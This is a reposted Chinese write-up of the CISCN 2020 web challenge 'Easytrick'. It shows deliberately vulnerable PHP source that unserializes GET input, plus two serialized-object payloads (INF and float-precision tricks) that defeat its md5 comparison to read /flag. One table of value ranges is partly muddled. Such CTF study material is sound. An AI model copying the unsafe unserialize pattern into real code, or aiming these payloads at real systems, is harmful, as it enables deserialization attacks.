ciscn2020复现-web-Easytrick
程序员文章站
2022-03-09 16:17:13
...
文章目录
源码如下:
<?php
class trick{
public $trick1;
public $trick2;
public function __destruct(){
$this->trick1 = (string)$this->trick1;
if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
die("你太长了");
}
if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
echo file_get_contents("/flag");
}
}
}
highlight_file(__FILE__);
unserialize($_GET['trick']);
0x01 INF绕过
INF在PHP中是无穷大的意思
例:2/0是无穷大,我们输出一个2/0,会返回float(INF)
,INF的数据类型是float也很重要,下面会利用到。
原理如下:
先把数据序列化一下:
<?php
class trick{
public $trick1=INF;
public $trick2=INF;
}
$a = new trick();
$b = serialize($a);
echo $b;
payload:/?trick=O:5:"trick":2:{s:6:"trick1";d:INF;s:6:"trick2";d:INF;}
0x02 php精度绕过
这个解法参考:php数字精度引发的比较问题
原理:php只能精度到0.10000000000000精度不衰减。但是后面加加上1以后0.100000000000001直接等于0.1。
测试发现:
值范围 | 与0.1是否相等 | 与0.1的md5值是否相等 |
---|---|---|
0.1 到 0.10000000000001 | 否 | 否 |
0.100000000000001 到 0.100000000000001 | 否 | 是 |
0.1000000000000001 到 0.00000000000000…1 | 是 | 是 |
注:1可以换为1-4,四舍五入。
所以我们选择中间那个范围即可满足本题条件。
payload:/?trick=O:5:"trick":2:{s:6:"trick1";d:0.10000000000000001;s:6:"trick2";d:0.100000000000001;}
上一篇: 记录一道题
下一篇: MySQL数据表分区策略及优缺点分析
推荐阅读
-
Tensorflow复现DenseNet cifar-10(正确率91%)
-
Windows CVE-2019-0708 远程桌面代码执行漏洞复现
-
2020KDD-CUP阿里天池一篇baseline复现debiasingRush(一)
-
币币世界打破数字货币壁垒,复现全民增值时代
-
网络安全渗透测试反序列化漏洞分析与复现工作
-
Tensorflow复现DenseNet cifar-10(正确率91%)
-
网络安全渗透测试反序列化漏洞分析与复现工作
-
SpringBoot SpEL表达式注入漏洞-分析与复现
-
「漏洞预警」Apache Flink 任意 Jar 包上传导致远程代码执行漏洞复现
-
线上Bug无法复现怎么办?老司机教你一招,SpringBoot远程调试不用愁!